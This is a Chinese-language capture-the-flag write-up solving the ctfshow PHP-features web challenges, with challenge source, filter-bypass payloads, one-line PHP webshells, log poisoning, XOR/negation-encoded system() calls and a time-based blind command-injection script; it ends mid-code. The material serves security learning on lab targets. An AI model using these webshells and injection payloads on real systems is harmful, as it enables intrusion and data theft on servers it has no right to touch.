ctfshow-php特性

本文最后更新于 2024年9月18日 晚上

web89

1
?num[]=a

web90

0x01

1
?num=4476.11

0x02

1
?num=+4476

0x03

1
?num=4476e1

0x04

1
?num=0x117c

web91

1
?cmd=%0aphp

web92

0x01

1
?num=4476.11

0x02

1
?num=4476e1

web92

0x01

1
?num=4476.11

0x02

1
?num=010574

web93

0x01

1
?num=4476.11

0x02

1
?num=010574

web94

0x01

1
?num=4476.02

0x02

1
?num=%0a010574

web95

0x01

1
?num=%0a010574

0x02

1
?num=+010574

web96

0x01

1
?u=php://filter/convert.base64-encode/resource=flag.php

0x02

1
?u=./flag.php

0x03

1
?u=/var/www/html/flag.php

web97

0x01

1
a[]=1&b[]=2

0x02

用fastcoll进行生成

web98

按要求进行传参就行了,cookie,post,FLAG,等等

web99

先了解一下in_array函数,如图

2024-09-15215426

in_array是用于检查数组里有没有对应的内容,正常是需要传三个值,第一个值是要搜索的值,可以是字符串、整数等。第二个值是要搜索的数组,即是否存在这个数组,第三个是可选当设置为 true 时,in_array() 不仅检查值是否相同,还会检查类型是否相同。如果未设置或为 false,则不会比较类型。本题就是由于第三个没有导致的弱比教漏洞

所以根据题目要求

1
?n=1.php
1
content=<?php eval($_POST[1]);?>

然后进入1.php执行ls,最后执行得到flag

1
1=system('tac flag36d.php');

web100

1
?v1=0&v2=show_source(system('ls'))&v3=;

测试完忘记读题,在$ctfshow里面

1
?v1=0&v2=var_dump($ctfshow)&v3=;

web101

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

?>

没遇过学习一下,反射,ReflectionClass:一个反射类,功能十分强大,内置了各种获取类信息的方法,创建方式为new ReflectionClass(str 类名),可以用echo new ReflectionClass(‘className’)打印类的信息。

ReflectionObject:另一个反射类,创建方式为new ReflectionObject(对象名)。

1
?v1=1&v2=echo new Reflectionclass&v3=;

web102

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 20:59:43

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}


?>

call_user_func函数是用于调用一个回调函数,$s从第二个开始读取,file_put_contents可以写入文件

v3用伪协议写入一个文件v3=php://filter/write=convert.base64-decode/resource=1.php

还需要讲的是短标签<?=就相当于<?php echo,我们需要构造,末尾有空格

1
<?=`cat *`; 

先进行base64,原因是我们写入的时候用了base64,然后进行hex,最后再编码前面加两位

1
v2=115044383959474e686443417159447367

最后v1=hex2bin进行转化进行,到1.php里看答案

1
?v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=1.php

web103

用上面102的payload可以正常打通

web104

0x01

数组绕过

0x02

1
?v2=aaK1STfY
1
v1=aaroZmOk

web105

本地考察了变量覆盖

先上payload

0x01

1
?suces=flag
1
error=suces

原理就是$suces=$flag,然后post发$error=$suces,通过串联,达成了$error=$flag;

0x02

清空内容

1
?suces=flag&flag=
1
flag=

web106

同web104

web107

1
?v3=1
1
v1=flag=c4ca4238a0b923820dcc509a6f75849b

parse_str$v1 中的查询字符串解析成一个关联数组,并将解析结果存储在 $v2 中。

就相当于$v2[flag]=c4ca4238a0b923820dcc509a6f75849b,控制两边相等就行了

web108

1
?c=a%00778

ereg用于检测是否只包含字母(大小写),0x36d 的十进制值是 877。反转 "877" 得到的字符串是 "778"

不过这里的 ereg() 存在截断漏洞, %00 后的字符串不解析构造 a%00778 来绕过 ereg() 的检测

web109

使用原生类的内置类进行目录扫描

1
?v1=DirectoryIterator&v2=system(ls)

然后使用映射类读取flag

1
?v1=Reflectionclass&v2=system('tac fl36dg.txt')

或者

1
?v1=Exception&v2=system('tac fl36dg.txt')

或者

1
?v1=Error&v2=system('tac fl36dg.txt')

web110

根据题目给的hint,先上payload

1
?v1=FilesystemIterator&v2=getcwd

FilesystemIterator::__construct — 构造一个新的文件系统迭代器

getcwd() 返回当前工作目录, 即 /var/ww/html。类里面刚好有 __toString 可以 echo 输出

web111

1
?v1=ctfshow&v2=GLOBALS

进行变量覆盖

web112

1
?file=php://filter/resource=flag.php

或者

1
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php

或者

1
?file=compress.zlib://flag.php

web113

1
?file=compress.zlib://flag.php

官p是

1
2
3
4
5
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

这是一个 Linux 环境中的路径表达式,表示通过不断递归访问 /proc/self/root 来尝试访问最终的目标文件 /var/www/html/flag.php。利用函数所能处理的长度限制进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了。

web114

0x01

1
?file=php://filter//resource=flag.php

0x02

1
?file=Php://filter/zlib.deflate|zlib.inflate/resource=flag.php

web115

1
?num=%0c36

利用 PHP 的宽松类型比较特性

由于 $num 的原始值是 "\x0c36",它通过了 is_numeric() 检查,且不严格等于 '36',同时经过 filter() 处理后的值仍为 '36'

web123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

一开始是想执行fl0g其实是执行不了的,真是可以传值的只有利用fun,执行echo $flag,这里因为php特性改成[,再传给CTF_SHOW,就达成了判断条件

1
CTF_SHOW=&CTF[SHOW.COM=1&fun= echo $flag

web125

0x01

1
CTF_SHOW=&CTF[SHOW.COM=1&fun=var_export(get_defined_vars())

无参数绕过常见的一种方法

0x02

1
CTF_SHOW=&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])

?1=flag.php

0x03

1
CTF_SHOW=&CTF[SHOW.COM=1&fun=include($_GET[1])
1
?1=php://filter/convert.base64-encode/resource=flag.php

web126

0x01

1
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
1
?a=1+fl0g=flag_give_me

?a=1+fl0g=flag_give_me。在之前的代码中存在 parse_str($a[1]),并且 $a[1] 是可控的输入,那么这里的查询字符串会被 parse_str() 函数解析。

$a[1] 包含 fl0g=flag_give_meparse_str($a[1]) 会将它解析为:

1
$fl0g = "flag_give_me";

0x02

1
CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
1
?$fl0g=flag_give_me

web127

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-10 21:52:49

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}


if($ctf_show==='ilove36d'){
echo $flag;
}

0x01

1
?ctf show=ilove36d

点或空格会被转化为下划线,由于点被过滤 ,所以可以用上空格。

0x02

$_SERVER[‘QUERY_STRING’];获取的查询语句是服务端还没url解码之前的字符串,所以对_进行一次url编码也能绕过。

1
?ctf%5fshow=ilove36d

web128

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-12 19:49:05

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}

function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
1
?f1=_&f2=get_defined_vars

本地学到了,php扩展目录下有php_gettext.dll_()是一个函数。

_()==gettext() 是gettext()的拓展函数,开启text扩展get_defined_vars — 返回由所有已定义变量所组成的数组。

为了绕过正则,_()函数和gettext()的效果一样,所以可以用_()函数代替gettext()函数。

web129

0x01

1
?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php

0x02

1
?f=/ctfshow/../../../../var/www/html/flag.php

进行目录穿越

web130

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

0x01

1
f=ctfshow

+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复,所以在ctfshow前面必须有至少一个字符,才会返回true

0x02

PHP利用PCRE回溯次数限制绕过,前面加个100w个a就行

web131

PHP利用PCRE回溯次数限制绕过,前面加个100w个a就行

web132

进去是一个网站,默认看一下robots.txt,告诉/admin,进去得到网页

1
?code=admin&password=1&username=admin
1
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")

先运行&&再运行||,a||b如果前面的错了那么就运行后面的,如果前面对的就不看后面的了

web133

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 16:43:44

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

原理大致就是利用curl外带,然后dnslog进行,直接贴文章吧

ctfshow web133和其他命令执行的骚操作-CSDN博客

web134

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-14 23:01:06

*/

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
1
?_POST[key1]=36d&_POST[key2]=36d

利用变量覆盖,执行

web135

1
?F=`$F`+;cp+flag.php+1.txt

自身的值在被eval时候直接引用自身,可以用cp把flag复制到1.txt访问 ?F=$F+;cp+flag.php+1.txt

web136

1
?c=ls / |tee 1
1
?c=tac f149_15_h3r3 |tee aa

web137

1
ctfshow=ctfshow::getFlag

web138

strripos($_POST['ctfshow'], ":") > -1 的检查条件意味着只要 POST 数据中包含冒号,代码就会终止。

1
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

在 PHP 中,call_user_func 可以接收数组形式的参数来调用静态方法。这种方式可以绕过冒号检查,因为 ctfshow[0]=ctfshow&ctfshow[1]=getFlag 并不包含冒号。

  • ctfshow[0]=ctfshow:表示调用 ctfshow 类的方法。
  • ctfshow[1]=getFlag:表示调用 getFlag 方法。

web139

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

和136差不多,但是测了一下好像并不能写入文件,应该是权限问题,跟着官p看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time
import string

str = string.ascii_letters + string.digits + '_~'
result = ""

for i in range(1, 10): # 行
key = 0
for j in range(1, 15): # 列
if key == 1:
break
for n in str:
# awk 'NR=={0}'逐行输出获取
# cut -c {1} 截取单个字符
payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)
# print(payload)
url = "http://271efe3f-c200-4c7c-b5fc-0262498db523.challenge.ctf.show/?c=" + payload
try:
requests.get(url, timeout=(2.5, 2.5))
except:
result = result + n
print(result)
break
if n == '~':
key = 1
result += " "

print("Final result:", result)

ls /|awk 'NR=={0}': 获取 / 目录下的第 i 个文件或目录的名称。

cut -c {1}: 获取文件名的第 j 个字符。

if [ ... == {2} ]: 判断这个字符是否等于当前循环中的字符 n

sleep 3: 如果匹配成功,则让服务器等待 3 秒。

文件在f149_15_h3r3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#print(payload)
url="http://271efe3f-c200-4c7c-b5fc-0262498db523.challenge.ctf.show/?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break

最后要扩个括号

web140

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

字符串进行整数转化是0,所以只要保证$code是否为0就行了

0x01

1
f1=md5&f2=phpinfo #进行加密之后开头是字母

成功则返回命令输出的最后一行,失败则返回 FALSE 。system()必须包含参数,失败返回FLASE;system(‘FLASE’),空指令,失败返回FLASE。

0x02

1
f1=system&f2=system #bool为false

0x03

1
f1=usleep&f2=usleep   # usleep() 没有返回值,调用 usleep() 将导致 eval() 返回 null。当 null 传递给 intval() 时,返回值是 0。

web141

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-17 19:28:09

*/

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

preg_match('/^\W+$/', $v3) 这段代码的作用是检查变量 $v3 是否 只包含一个或多个非单词字符(例如空格、标点符号等),且整个字符串从头到尾都符合这个条件。如果是这样,则返回 1,否则返回 0。简单的说就是不能包含字母数字。

利用取反

1
2
3
4
5
6
7
<?php
$a="system";
$b="ls /";
$c=urlencode(~$a);
$d=urlencode(~$b);
echo ("?c=(~".$c.")(~".$d.");")
?>
1
?v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
1
?v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F);

个人解惑:通过加上 - 号,可以构造出一个合法的数学或逻辑运算符,使得最终的表达式可以被 eval() 正常解析和执行。以前写的没有遇到加-

web142

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-17 19:36:02

*/

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}

相当于睡眠下面的式子,可以输入v1=0可以变为0,下面的式子
$$
d=(int)(v1×877^5)
$$

1
?v1=0

web143

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 12:48:14

*/

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

多加了+,-,~不可以用取反了,可以尝试进行异或绕过

1
?v1=1&v2=2&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*
1
?v1=1&v2=2&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")*

脚本是使用yu师傅的rce生成,然后用python进行构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from sys import *

def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)

fun="system"
cmd="tac flag.php"
print("function:"+action(fun))
print("cmd:"+action(cmd))

web144

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 16:21:15

*/

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}

和web141基本一致,限制的是v2稍加进行修改即可

1
?v1=1&v3=-&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F);

web145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 17:41:33

*/


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

0x01

1
?v1=1&v2=2&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F):

0x02

1
?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

web146

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 17:41:33

*/


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

用上一题的0x02的payload可以正常得到答案

web147

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 02:04:38

*/



highlight_file(__FILE__);

if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}

}

确保 $ctfshow 只包含小写字母、数字和下划线(正则表达式 ^[a-z0-9_]*$)。

  • **i**:忽略大小写。
  • **s**:使 . 可以匹配换行符。
  • **D**:禁用多行模式(^$ 只匹配整个字符串的开头和结尾)。
1
?show=;}system('tac f*');//
1
ctf=\create_function

show需要提前进行闭合,后面需要进行注释掉,以便可以正常执行,下面的ctf输入\是为了能够进行绕过,这个函数是用于进行创造一个函数进行执行,详细的可以网上搜索一下

web148

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 03:52:11

*/



include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}

直接进行异或

0x01

1
?code=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f");
1
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");

0x02

1
?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*

官方预期解

web149

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 04:34:40

*/


error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

代码审计一下

1
2
3
4
5
6
7
8
$files = scandir('./'); 
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

这段代码是遍历当前目录下的文件是否有叫index.php的,如果有就进行删除

可以利用这一点进行一句话木马上传

1
?ctf=index.php
1
show=<?php eval($_POST[1]);?>

然后回到页面执行一句话得到了具体的内容

1
1=system('cat /ctfshow_fl0g_here.txt');

web150

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}

既然是非预期题目就用非预期来写,先上payload

1
?isVIP=TRUE
1
ctf=/var/log/nginx/access.log&1=system('cat f*');

给ua头上个一句话<?php eval($_POST[1]);?>,查看网页源码得到flag

strrpos($ctf, ":") 是 PHP 中的一个函数调用,它的作用是查找字符串中最后一次出现指定字符的位置。从题目中

1
2
3
4
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

要满足这个限制,所以isVIP进行了限制,只要后面的是不符合的即没有:就行,利用nginx特性,具体对照web4这题,写入日志得到falg

web150plus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
